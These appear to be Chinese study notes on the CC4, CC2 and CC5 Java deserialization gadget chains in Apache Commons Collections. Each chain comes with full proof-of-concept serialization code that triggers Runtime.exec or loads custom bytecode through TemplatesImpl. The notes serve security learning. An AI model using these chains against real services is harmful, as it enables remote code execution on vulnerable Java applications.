CC4
CC4是针对commons-collections4
的4.0版本的一条利用链
主要是利用TransformingComparator
类的compare
方法调用了ChainedTransformer类的transform(commons-collections3.2的TransformingComparator无法反序列化
)

而入口则是PriorityQueue类的readObject方法,整体利用链如下:
PriorityQueue#readObject
PriorityQueue#heapify
PriorityQueue#siftDown
PriorityQueue#siftDownUsingComparator
TransformingComparator#compare
所以通过以下构造方法连成一条链
1 2
| TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
|
但有几个需要注意的逻辑点
在PriorityQueue#heapify中有
1 2 3 4
| private void heapify() { for (int i = (size >>> 1) - 1; i >= 0; i--) siftDown(i, (E) queue[i]); }
|
要想进入循环则必须满足size>>>1要大于0
,即变量 “size” 的二进制表示向右移动一位要大于0,size>1
所以有
1 2
| priorityQueue.add(1); priorityQueue.add(2);
|
但是priorityQueue.add()会调用priorityQueue.offer()进而调用priorityQueue.siftUp(),最终到siftUpUsingComparator()调用了compare方法,也就是说在还没有反序列化之前,就已经命令执行了。
要解决这个问题方法和之前的一样,在add前断开链,add后在把链接上
故最后的序列化poc就是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| Transformer[] Transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(Transformers);
TransformingComparator transformingComparator = new TransformingComparator(new ChainedTransformer());
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(1); priorityQueue.add(2);
Class clazz = TransformingComparator.class; Field transformerfield = clazz.getDeclaredField("transformer"); transformerfield.setAccessible(true); transformerfield.set(transformingComparator,chainedTransformer);
Test.Serialize(priorityQueue);
|
CC2
前面提到通过类的动态加载,我们只需要运行templates.newTransformer()
方法就可以任意命令执行了
那么我们可以通过InvokerTransformer类来执行这个方法,就可以实现命令执行
1 2
| InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",new Class[]{},new Object[]{}); invokerTransformer.transform(templates);
|
但我们总会遇到一个问题,就是transform的参数不好控制,之前我们都是采用ChainedTransformer+ConstantTransformer来解决的,但在这里,我们的参数是可控的,
在PriorityQueue#heapify中要向siftDown传入两个参数,而第二个参数就是我们最终传到transform的参数
1 2 3 4
| private void heapify() { for (int i = (size >>> 1) - 1; i >= 0; i--) siftDown(i, (E) queue[i]); }
|
而这个queue[i]就是我们poc中利用priorityQueue.add方法传入的参数,所以我们只需要传入一个
templates就可以了
故最终的poc为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass(); Field namefield = c.getDeclaredField("_name"); namefield.setAccessible(true); namefield.set(templates,"123");
Field bytecodesfield = c.getDeclaredField("_bytecodes"); bytecodesfield.setAccessible(true); byte[] codes = Files.readAllBytes(Paths.get("D:\\php_project\\shengji_study\\target\\classes\\runtime.class")); bytecodesfield.set(templates,new byte[][] {codes});
Field tfactoryfield = c.getDeclaredField("_tfactory"); tfactoryfield.setAccessible(true); tfactoryfield.set(templates,new TransformerFactoryImpl());
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(templates); priorityQueue.add(1);
Class clazz = TransformingComparator.class; Field transformerfield = clazz.getDeclaredField("transformer"); transformerfield.setAccessible(true); transformerfield.set(transformingComparator,invokerTransformer);
Test.Serialize(priorityQueue);
|
通过这种方法就可以在不用ChainedTransformer和ConstantTransformer的情况下实现反序列化
最后附上一张CC链的总图:

CC5
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass(); Field namefield = c.getDeclaredField("_name"); namefield.setAccessible(true); namefield.set(templates,"123");
Field bytecodesfield = c.getDeclaredField("_bytecodes"); bytecodesfield.setAccessible(true); byte[] codes = Files.readAllBytes(Paths.get("D:\\php_project\\shengji_study\\target\\classes\\runtime.class")); bytecodesfield.set(templates,new byte[][] {codes});
Field tfactoryfield = c.getDeclaredField("_tfactory"); tfactoryfield.setAccessible(true); tfactoryfield.set(templates,new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
Transformer[] Transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer(Transformers);
HashMap<Object,Object> map = new HashMap<Object,Object>(); Map lazymap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,'1');
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException('1');
Class BadAttribute_class =Class.forName("javax.management.BadAttributeValueExpException"); Field val_field = BadAttribute_class.getDeclaredField("val"); val_field.setAccessible(true); val_field.set(badAttributeValueExpException,tiedMapEntry);
Test.Serialize(badAttributeValueExpException);
|